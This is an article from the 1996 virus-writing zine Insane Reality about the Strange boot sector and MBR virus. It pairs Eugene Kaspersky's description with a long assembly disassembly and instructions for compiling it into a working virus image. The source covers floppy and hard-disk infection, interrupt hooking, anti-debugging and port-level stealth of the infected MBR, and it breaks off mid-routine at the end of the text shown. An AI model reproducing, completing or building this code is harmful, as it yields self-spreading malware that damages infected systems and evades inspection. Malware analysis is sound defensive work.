Insane Reality issue #8 - (c)opyright 1996 Immortal Riot/Genesis - REALITY.019 Article: Strange special Author: Sepultura [IRG] % Strange virus special Sepultura [IRG] % _________________________________________ Here's a Virus Spotlite style article on the Strange virus, including an AV description, and disassembly. Strange is a floppy boot sector and MBR infector. It is quite old, and hence has some incompatibilites, mainly when hooking INT 21h at boot up, to go resident. The virus does have many checks however, to ensure that infection is succesful, such as checking that the floppy sector size is 512 bytes, and writing sectors 1 at a time, then checking for an error. If the incompat- -abilites were fixed, the virus could be quite succesful in the wild in my opinion. Although no stealth is used on floppy infections, the MBR is stealthed at hardware port level if an AT-IDE or XT hard disk controller is present. To further your understanding of the virus I have included an analysis of the Strange virus, by Eugene Kaspersky. This file includes, in order: Strange Analysis. Strange disasm. Strange debug script. - _Sepultura_ ;============================================================================ ;=[BEGIN STRANGE.TXT]======================================================== The "Strange" virus is a memory resident floppy boot sector and hard drive master boot record infector. It occupies four sectors of disk (the three first sectors - the virus body, the last sector - the original floppy boot or hard drive MBR sector). The virus writes itself into the hard drive sectors with the numbers from 17th till 20th of the first disk track, on floppies it saves itself into the last four disk sectors. On loading from infected sectors the virus works as a standard boot infector: it copies itself into the high addresses of system memory, decreases the word at address 0000:0413. But then it hooks INT 08h instead of standard "boot-virus' interrupt" INT 13h and waits for the INT 2Ah putting (it waits for the value of double word at address 0000:00A8h is not equal to zero). It comes on while DOS installation. Then the virus restores the original address of INT 08h handler, hooks INT 21h and checks the LOAD AND EXECUTE command (AH=4Bh). On loading COMMAND.COM files (it checks *ND.??? file name) the STRANGE virus increases the length of the last memory block, moves itself body into the area that 'added' to that memory block, restores the original INT 21h address and hooks INT 09h and INT 13h. In majority of cases the block of DOS memory which increased contains the system drivers. It happens when the virus copies itself on loading the first copy of COMMAND.COM. In several other cases the virus skips the first copy loading and moves itself when COMMAND.COM is loaded again (under one of DOS shell utilities for example). The memory area with high addresses which was occupied by virus is released: the word at address 0000:0413h is decreased on three. If it's impossible to move the virus body into the new place the virus manifests itself - it displays the message: Hmm... Strange drivers you have, very strange... ;-) On calling the INT 13h the virus checks the trace procedure. For detection the tracing the virus disables the hardware interrupts by CLI instruction, pushes into the stack register AX, popes it back and compares the contents of the stack with the value of AX register. If these values are not equal, the virus returns "disk write-protect" error. The virus hooks INT 09h (keyboard) also and duplicate the pressing on random selected key. In addition on writing the disk sectors through INT 13h if the first two bytes of sector for save are 'MZ' (EXE-file first sector) the virus changes them to 'ZM' bytes. Besides the INT 09h and INT 13h which are used as standard virus' interrupts (the disk infection and effects) this virus hooks one of two hardware interrupts - either INT 0Dh or INT 76h. These interrupts correspond to hardware interrupt requests (IRQ) of computer. The interrupt INT 0Dh corresponds to IRQ5 on PC/XT fixed disk controller, INT 76h corresponds to IRQ14 on PC/AT fixed disk. On accessing to hard drive the computer' hardware generates the IRQ signal (IRQ5 on PC/XT class computers or IRQ14 on PC/AT). Then the main processor calls the interrupt routine as a result of hardware interrupt request. The virus must intercept the interrupt with true number (INT 0Dh on XT or INT 76h on AT). For that the virus must to find out the type of main processor of the computer where the virus works now. The virus determines the type of processor by using five assembler instructions: MOV AX,2 MOV CL,41h SHR AX,CL ; shift right TEST AX,1 ; is the AX equal to 1 ? JZ xt_class_computer If the value of AX register is equal to 1 then it's AT-class computer and the virus hooks INT 76h, if not - XT-class and the virus intercepts INT 0Dh. It's interesting - is that method of processor type detection documented? By using interrupts INT 0Dh and INT 76h the STRANGE virus organizes the new type of stealth mechanism on hard drive. The virus constantly retains in operating memory the original (not infected) MBR sector and on XT computers on reading infected MBR sector this virus substitutes the not infected one. On AT machines it forces the disk controller to read the sector which contains not infected sector. On PC/XT computers on calling INT 0Dh the virus reads from port 6 the address of the disk buffer, then it checks the sector for its own body presence and if the sector is infected the virus copies the code of original MBR into the disk buffer. On PC/AT class computers on INT 76h call STRANGE reads the numbers of cylinder, sector and head from the ports 1F3h, 1F4h, 1F5h and 1F6h. If these numbers are conformed to MBR sector, the virus write into these ports the address of the sector that contains the original MBR. If you'll try to trace the INT 13h (by the way - the STRANGE virus blocks the tracing - see above) on MBR sector reading then the trace routine goes through the code to ROM BIOS, the registers' values are not changed, but the data buffer contains the original MBR but not the virus. You can set the INT 13h handler straight to original ROM BIOS address, but it makes no difference - this virus stays invisible! It's not difficult to remove virus from infected disk if the system memory is clear. The original MBR is saved into the hard disk sector at address 0/0/11h (cylinder/head/sector), and the floppy-disks can be cleaned by DOS command SYS A: or SYS B: or by writing the standard not infected boot sector into the first sector of diskette. But if the TSR part of the virus presents it's needed to disinfect the system memory before the sector restoring. It's made either by computer re-booting from clear system floppy or by disinfection of system memory. It's better to use the INT 13h tracing to find out the address of system memory where the virus placed, because the virus can copy itself not only into the drivers area but into the end of one of memory blocks also. We seen once that this virus places itself into the 'tail' of NC.EXE (Norton Commander shell utility). Then it needs to disinfect the INT 0Dh, INT 13h and INT 76h - three interrupt handlers! And only now we can be sure that "Strange" stays not-stealth. ;=[END STRANGE.TXT]========================================================== ;=[BEGIN STRANGE.ASM]======================================================== ; Strange. ; Dissasembled by Sepultura [Immortal Riot/Genesis] ; ; ; ; TO COMPILE: ; tasm /m9 strange ; tlink /v strange ; tdstrip -C strange ; ; STRANGE.COM will contain an image of the virus. ; .286 seg000 segment byte public 'CODE' assume cs:seg000 assume ds:nothing, es:nothing, ss:nothing marker = ((offset infect_mbr - marker_position)-2) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ start: jmp short virus_loader ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ bpb_info db ? bpb_oem_name db 8 dup(?) bpb_bytes_sector dw ? ; Byters per Sector. bpb_sectors_cluster db ? ; Sectors per Cluster. bpb_reserved_sectors dw ? ; Sectors reserved (usually 1) bpb_no_of_fats db ? ; Number of FATs. bpb_max_root_entries dw ? ; Number of 32byte entries in \. bpb_total_sectors dw ? ; TOTAL number of sectors. bpb_media_desc db ? ; Media Descriptor (type of disk) bpb_sectors_fat dw ? ; Sectors per FAT. bpb_sectors_track dw ? ; Sectors per Track. bpb_no_of_heads dw ? ; Number of Heads (sides). bpb_hidden_sects dw ? ; Number of Hidden sectors. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus_loader: xor ax, ax mov ss, ax mov sp, 7C00h mov ds, ax mov ax, ds:413h ;Get amount of memory in KB's push ax mov cl, 6 shl ax, cl mov es, ax cmp word ptr es:marker_position, marker ;already installed? pop ax pushf sub ax, 3 ;Allocate 3K popf pushf jz already_installed mov ds:413h, ax ;Set amount of memory in KB's already_installed: cld mov cl, 6 shl ax, cl mov es, ax xor di, di mov si, 7C00h mov cx, 200h rep movsb push es mov ax, offset jmp_over push ax retf ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This routine takes a logical sector number (i.e. the absolute number of the ; sector on disk) and sets up CX, and DX, to hold the Cylinder, Head, and ; Sector number in standard INT 13h format. ; get_logical_sector: push bx push dx xor dx, dx div cs:bpb_sectors_track inc dl mov ch, dl ; CH=Track xor dx, dx div cs:bpb_no_of_heads mov bh, dl mov cl, 6 shl ah, cl or ah, ch xchg ah, al mov cx, ax ; CX=Cylinder, Sector pop dx mov dh, bh ; DH=Head pop bx ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ read_logical_sector: push si push ax mov si, 3 ; 3 attempts rls_retry: xor ax, ax call int13 pop ax push ax call get_logical_sector mov ax, 201h call int13 jnb rls_done dec si jnz rls_retry stc rls_done: pop ax pop si ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ write_logical_sector: push ax call get_logical_sector mov ax, 301h call int13 pop ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp_over: mov bx, 200h mov word ptr cs:int13, 13CDh; INT 13h mov byte ptr cs:int_40_vector+1, 0C3h; RET test dl, 80h jnz booting_from_hd2 mov ax, cs:total_sectors call read_logical_sector ; 2nd sector of virus. jb abort_boot inc ax ; 3rd sector. mov bx, 400h call read_logical_sector jb abort_boot inc ax ; 4th sector. mov bx, 600h call read_logical_sector jb abort_boot push ds ; Read clean boot sector. pop es mov bx, 7C00h inc ax call read_logical_sector jnb continue_install abort_boot: ;jmp far 0F000h:0FFF0h ; Reboot db 0EAh dd 0F000FFF0h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ booting_from_hd2: ; continue booting from HD0 mov cx, 0Eh ; Read 2nd sector of virus. xor dh, dh mov ax, 201h int 13h jb abort_boot inc cx ; Read 3rd sector of virus. mov ax, 201h mov bx, 400h int 13h jb abort_boot inc cx ; Read 4th sector of virus. mov ax, 201h mov bx, 600h int 13h jb abort_boot inc cx ; Read clean MBR. xor ax, ax mov es, ax mov bx, 7C00h mov ax, 201h int 13h jb abort_boot continue_install: popf jz already_installed2 test dl, 80h jnz booting_from_hd call infect_MBR marker_position = offset $-2 ; The virus checks this position to ; identify infected sectors. booting_from_hd: xor ax, ax mov ds, ax push cs pop es mov si, 20h ; INT 8 mov di, offset int_08_vector+1 movsw movsw mov word ptr cs:int13, 9A9Ch ; PUSHF, CALL FAR imm mov si, 100h ; INT 40h mov di, offset int_40_vector+1 movsw movsw mov si, 0A8h ; INT 2A mov di, offset int_2A_vector movsw movsw mov cs:time_to_hook21, 0 mov word ptr ds:20h, offset int_08_handler mov ds:22h, cs already_installed2: ;jmp far ptr 0:7C00h db 0EAh dd 00007C00h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ int_2A_vector dd ? virus_segment dw ? ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ int13: pushf int_40_vector: ;INT 40h vector is inserted here. ;call far ptr 0:0 db 09Ah dd 0 ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd ? ;Not used? in_int_76_flag db ? total_sectors dw ? time_to_hook21 db ? kb_1st_free_slot dw ? drive_number db ? current_floppy db ? ; ; 0Dh,0Ah,'Hmm... Strange drivers you have, very strange... ;-)',0Dh,0Ah,0 ; 8 bit XOR'd with 96h ; msg db 09Bh, 09Ch, 0DEh, 0FBh, 0FBh, 0B8h, 0B8h, 0B8h, 0B6h, 0C5h db 0E2h, 0E4h, 0F7h, 0F8h, 0F1h, 0F3h, 0B6h, 0F2h, 0E4h db 0FFh, 0E0h, 0F3h, 0E4h, 0E5h, 0B6h, 0EFh, 0F9h, 0E3h db 0B6h, 0FEh, 0F7h, 0E0h, 0F3h, 0BAh, 0B6h, 0E0h, 0F3h, 0E4h db 0EFh, 0B6h, 0E5h, 0E2h, 0E4h, 0F7h, 0F8h, 0F1h, 0F3h db 0B8h, 0B8h, 0B8h, 0B6h, 0ADh, 0BBh, 0BFh, 09Bh, 09Ch, 00 mbr_info = 1BEh ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; The main virus body, not written to BS/MBR. ; org 200h db 9 dup (0) ; dont know what this is.. ; ; INT 08h handler.. waits till INT 2Ah is hooked, then hooks INT 21h. ; int_08_handler: pushf push ax push si push di push ds push es push cs pop es xor ax, ax mov ds, ax mov si, 0A8h ; INT 2Ah mov di, offset int_2A_vector cld cmpsw jnz DOS_has_loaded cmpsw jz exit_int_8 DOS_has_loaded: cmp word ptr ds:0A8h, 40C5h ; INT 2Ah handler in DOS 4? jnz hook_int_21 ; INT 21h cmp cs:time_to_hook21, 1 jz hook_int_21 ; INT 21h mov cs:time_to_hook21, 1 mov si, 0A8h ; INT 2Ah mov di, offset int_2A_vector movsw movsw jmp short exit_int_8 nop hook_int_21: mov si, 84h ; INT 21h mov di, offset int_21_vector+1 movsw movsw mov word ptr ds:84h, offset int_21_handler mov ds:86h, cs push es push ds pop es pop ds mov di, 20h ; restore INT 8h mov si, offset int_08_vector+1 movsw movsw exit_int_8: pop es pop ds pop di pop si pop ax popf int_08_vector: ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; INT 21h handler - waits till COMMAND.COM is loading then goes resident by ; extending the last MCB by 3K and moving it self into the newly allocated ; space. ; int_21_handler: pushf cmp ah, 4Bh jz i21_4B popf int_21_vector: ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i21_4B: push ax push bx push cx push dx push di push si push ds push es push bp cld mov si, dx find_filename_end: lodsb or al, al jnz find_filename_end cmp word ptr [si-7], 'DN'; commaND.com? jz command_loading jmp exit_int_21 command_loading: mov ah, 52h int 21h mov ax, es:[bx-2] ; Get First MCB Segment mov ds, ax Get_next_MCB: add ax, ds:3 inc ax mov es, ax cmp byte ptr es:0, 'Z'; Last MCB? jz Found_Last_MCB ; Increase Size by 3K push es pop ds jmp short Get_next_MCB Found_Last_MCB: add word ptr ds:3, 0C0h ; Increase Size by 3K add ax, 0C0h ; Segment to move Virus to. mov cs:virus_segment, es push es pop ds mov es, ax xor si, si xor di, di mov cx, 10h ; Copy last MCB up 3K rep movsb xor ax, ax mov ds, ax mov ax, cs cmp ds:86h, ax ; Does INT 21h still point to us? jnz i21_has_been_hooked ; No? push ds pop es push cs pop ds mov si, offset int_21_vector+1 ; Restore INT 21h mov di, 84h movsw movsw jmp i21_has_been_restored ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; Another program has hooked INT 21h after us, so we cant restore the INT 21h ; vector at 0:84h. To get over this, we trace INT 21h using INT 01h until we ; come across the JMP or CALL to our handler. We then replace the vector ; pointing to us with the original INT 21h vector. If this instruction can ; not be found, the virus manifests itself by displaying its message. ; i21_has_been_hooked: mov word ptr ds:[04h], offset int_01_handler mov word ptr ds:[06h], cs ; Set INT 01h mov ax, 100h ; Flags - Trace Flag set push ax mov ax, word ptr ds:[86h] ; Trace INT 21h push ax mov ax, word ptr ds:[84h] push ax mov ax, 2A00h ; Get Date Function iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ int_01_handler: ; INT 1h handler of i21 single stepper. push bp push ax mov bp, sp mov ax, cs cmp ax, [bp+6] jz i21_has_entered_CS mov ax, [bp+4] mov word ptr cs:int_2A_vector, ax mov ax, [bp+6] mov word ptr cs:int_2A_vector+2, ax or word ptr [bp+8], 100h ; Reset Trace flag. pop ax pop bp iret i21_has_entered_CS: add sp, 0Ah lds bx, cs:int_2A_vector inc bx cmp byte ptr [bx-1], 0EAh; JMP far imm dword jz i21_JMP_imm cmp byte ptr [bx-1], 9Ah; CALL far imm dword jz i21_JMP_imm cmp word ptr [bx], 1EFFh; JMP far imm dword ptr jz i21_JMP_ptr cmp word ptr [bx], 2EFFh; CALL far imm dword ptr jz i21_JMP_ptr xor ax, ax mov es, ax push cs pop ds inc word ptr es:413h ; Release the memory that we inc word ptr es:413h ; previously cut from the inc word ptr es:413h ; TOM. mov si, offset int_21_vector+1 ; just restore INT 21h mov di, 84h movsw movsw call print_msg jmp short exit_int_21 nop i21_JMP_ptr: inc bx inc bx mov bx, [bx] mov ax, word ptr cs:int_2A_vector+2 mov ds, ax i21_JMP_imm: push ds pop es push cs pop ds mov si, offset int_21_vector+1 mov di, bx movsw movsw i21_has_been_restored: mov es, cs:virus_segment ; Copy ourselves to push cs ; newly allocated segment. pop ds xor si, si xor di, di mov cx, 0C00h rep movsb ; ; Save the vectors of INT's that we will later intercept. ; mov di, offset int_13_vector+1 mov si, 4Ch ; INT 13h xor ax, ax mov ds, ax movsw movsw mov di, offset int_09_vector_a+1 ; INT 09h mov si, 24h movsw movsw mov di, offset int_09_vector_b+1 ; INT 09h again. mov si, 24h movsw movsw inc word ptr ds:413h ; Release the memory that we inc word ptr ds:413h ; previously cut from the inc word ptr ds:413h ; TOM. ; ; Hook the main Interrupts of the virus. ; call hook_HD_stealth_INT ; Hook the appropriate INT ; for port level MBR stealth. mov word ptr ds:24h, offset int_09_handler mov ds:26h, es mov word ptr ds:4Ch, offset int_13_handler mov ds:4Eh, es exit_int_21: pop bp pop es pop ds pop si pop di pop dx pop cx pop bx pop ax popf jmp int_21_vector ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This routine sets the appropriate interrupt up to stealth the MBR. ; INT 76 (Fixed Disk IRQ) for AT class machines. ; INT 0Dh for XT class machines. ; hook_HD_stealth_INT: mov ax, 201h ;Read MBR mov bx, offset clean_MBR mov cx, 1 mov dx, 80h int 13h jb exit_HD_hook cmp word ptr es:marker_position+clean_MBR,marker jnz exit_HD_hook ; HD0 MBR infected? mov ax, 201h ;Read Clean MBR mov bx, offset clean_MBR mov cx, 11h mov dx, 80h int 13h jb exit_HD_hook mov bx, 34h ; INT 0Dh mov dx, offset int_0D_handler mov di, offset int_0D_vector+1 mov ax, 2 ; 286? mov cl, 41h shr ax, cl test ax, 1 jz is_8086 mov bx, 1D8h ; INT 76h mov dx, offset int_76_handler mov di, offset int_76_vector+1 is_8086: xor ax, ax ; Save and Hook the INT. mov ds, ax mov si, bx movsw movsw mov [bx], dx mov [bx+2], es exit_HD_hook: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; INT 13h handler. ; Returns error if traced. ; Infects floppy disks. ; Manifests virus by occasionaly changin 'MZ' to 'ZM' when EXE files are ; read. ; int_13_handler: pushf push ax ; Are we being traced? push bp cli push ax mov bp, sp pop ax cmp ax, [bp+0] pop bp pop ax sti jz i13_not_traced popf mov ah, 3 stc ; Traced, so return error. retf 2 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i13_not_traced: popf call i13_main call swap_MZ_ZM int_13_vector: ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i13_main: pushf push ax push bx push cx push dx push ds push es push si push di cmp ah, 2 jz i13_is_read jmp read_not_floppy i13_is_read: call check_if_floppy jnb read_is_floppy jmp read_not_floppy read_is_floppy: push cs pop es push cs pop ds mov si, 3 read_bs_retry: xor ax, ax ; Read in floppy Boot Sector. call int13 mov ax, 201h mov bx, offset buffer mov cx, 1 mov dh, 0 call int13 jnb bs_read dec si jnz read_bs_retry jmp read_not_floppy bs_read: cmp word ptr ds:[buffer+marker_position],marker jnz bs_not_infected ;not infected, so infect. jmp read_not_floppy bs_not_infected: mov si, offset buffer+offset bpb_info mov di, offset bpb_info ; copy BPB info into mov cx, 1Ch ; virus body. cld rep movsb cmp ds:bpb_bytes_sector, 512 ; Standard Sector Size? jz is_valid_floppy jmp read_not_floppy ; ; This gets a bit tricky, so I hope I got it right. ; ; Basically the virus calculates the address of the first sector of the ; last cluster on the disk, that is 4 or more sectors away from the end ; of the disk. i.e. the virus puts itself at in the last few sectors of ; the disk, but rounds it to the start of a cluster. ; It then checks that the cluster(s) are free in the FAT before writing ; itself. is_valid_floppy: mov ds:drive_number, dl mov bx, ds:bpb_reserved_sectors; BX=reserved mov al, ds:bpb_no_of_fats cbw mul ds:bpb_sectors_fat add bx, ax ; BX=reserved+fats mov ax, ds:bpb_max_root_entries add ax, 0Fh mov cl, 4 ; /16=*512/32 shr ax, cl add bx, ax ; BX=reserved+fats+root mov ax, ds:bpb_total_sectors; AX=Total Sectors sub ax, bx ; AX=Data Sectors xor dx, dx xor bx, bx mov bl, ds:bpb_sectors_cluster div bx inc ax ; AX=Clusters mov si, ax mov ax, 4 div ds:bpb_sectors_cluster; AX=# of clusters per 2K or ah, ah jz cluster_4k_pad inc al cluster_4k_pad: cbw mov di, si ; DI= last cluster sub di, ax ; that the virus can be written to mov ax, ds:bpb_sectors_fat ; Read in last sector dec ax ; of the FAT. add ax, ds:bpb_reserved_sectors mov bx, offset buffer mov dl, ds:drive_number call read_logical_sector jb read_not_floppy ; ; From here onwards requires some familiarity with addressing and using ; 16 and 24 bit FAT's. ; check_next_cluster: mov ax, 3 cmp si, 0FF0h ; 16 bit fat? jnb is_16bit_fat1 inc ax ; 24 bit fat is_16bit_fat1: mul di shr ax, 1 mov cx, 200h div cx mov bx, dx mov ax, word ptr ds:buffer[bx] cmp si, 0FF0h ja is_24bit_fat test di, 1 jz is_even_24 mov cl, 4 shr ax, cl is_even_24: and ah, 0Fh is_24bit_fat: test ax, 0FFFFh ; cluster used? jnz read_not_floppy inc di cmp di, si jbe check_next_cluster sub ds:bpb_total_sectors, 4 ; The logical disk mov ax, ds:bpb_total_sectors ; now has 4 less mov ds:total_sectors, ax ; sectors. mov dl, ds:drive_number mov bx, 200h ; Write 2nd virus sector. call write_logical_sector jb read_not_floppy inc ax mov bx, 400h ; Write 3rd virus sector. call write_logical_sector jb read_not_floppy inc ax mov bx, 600h ; Write 4th virus sector. call write_logical_sector jb read_not_floppy push ax ; Read Boot Sector again. xor ax, ax mov bx, offset buffer call read_logical_sector pop ax jb read_not_floppy inc ax ; Save clean boot sector. call write_logical_sector xor ax, ax ; Write virus to boot sector. xor bx, bx call write_logical_sector read_not_floppy: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_if_floppy: push ax push bx push cx push dx push ds cmp dl, 1 ja cif_not_floppy cmp dl, cs:current_floppy jz cif_not_floppy clc jmp short cif_exit nop cif_not_floppy: stc cif_exit: mov cs:current_floppy, dl pop ds pop dx pop cx pop bx pop ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_MBR: push cs pop es mov ax, 201h ; Read Original MBR mov bx, offset buffer mov cx, 1 mov dx, 80h int 13h jb abort_MBR_infection cmp word ptr cs:[buffer+marker_position],marker jz abort_MBR_infection ; Already Infected? ; ; This ensures that the first partition is valid, and does not begin at ; Head 0, Cylinder 0 as this is where the virus body and original MBR. ; This is a good check for compatibility with non-standar partitioning ; although its not needed as much these days. ; mov cx, word ptr cs:buffer+offset mbr_info+2 or ch, ch ; Cylinder 0? jnz is_infectable_partition test byte ptr cs:[buffer+mbr_info+1],0FFh jz abort_MBR_infection ; Head 0? is_infectable_partition: call set_rand_key ; Dont know why they do mov cs:rand_key_scancode, al; this here.. mov ax, 301h ; Write 2nd sector of Virus mov bx, 200h mov cx, 0Eh int 13h jb abort_MBR_infection mov ax, 301h ; Write 3rd sector of Virus mov bx, 400h inc cx int 13h jb abort_MBR_infection mov ax, 301h ; Write 4th sector of Virus mov bx, 600h inc cx int 13h jb abort_MBR_infection mov ax, 301h ; Save Clean MBR mov bx, offset buffer inc cx int 13h jb abort_MBR_infection push cs pop ds mov di, offset mbr_info mov si, offset buffer+offset mbr_info mov cx, 42h rep movsb mov ax, 301h xor bx, bx mov cx, 1 int 13h abort_MBR_infection: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This stealths the MBR via IDE ports. ; If an operation is carried out on head 0, cylinder 0, sector 0, the virus ; reads in the data, then redoes the operation with the sector containing ; the clean MBR. ; int_76_handler: pushf cmp cs:in_int_76_flag, 1 jnz i76_stealth_enabled jmp i76_abort i76_stealth_enabled: mov cs:in_int_76_flag, 1 push ax push dx mov dx, 1F3h in al, dx cmp al, 1 ; Sector 1? jz i76_mbr_sector jmp short i76_no_stealth nop i76_mbr_sector: inc dx in al, dx ; Cylinder Low mov ah, al inc dx in al, dx ; Cylinder High xchg al, ah and ax, 3FFh cmp ax, 0 ; Cylinder 0? jz i76_mbr_cylinder jmp short i76_no_stealth nop i76_mbr_cylinder: inc dx in al, dx ; Drive/Head and al, 0Fh ; Head cmp al, 0 ; Head 0? jz i76_mbr_head jmp short i76_no_stealth nop i76_mbr_head: mov al, 20h ; Disable Fixed Disk IRQ out 0A0h, al out 20h, al mov al, 0 out 21h, al out 0A1h, al sti mov dx, 1F0h ; IDE Data Register. push es push di push cx mov cx, 100h push cs pop es mov di, offset buffer cld rep insw ; Read in Infected MBR pop cx pop di pop es mov dx, 1F7h ; IDE Status/Command register in al, dx ; ; This doesnt seem right.. ; cmp al, 50h ; FORMAT TRACK command? jnz i76_no_stealth mov dx, 1F2h ; Read 1 Sector mov al, 1 out dx, al jmp $+2 inc dx mov al, 11h ; Sector 17 out dx, al jmp $+2 mov al, 0 ; Cylinder 0 inc dx out dx, al jmp $+2 inc dx out dx, al jmp $+2 inc dx out dx, al ; HD0, Head 0 inc dx mov al, 20h ; Read with Retry out dx, al ; mov dx, 1F7h ; 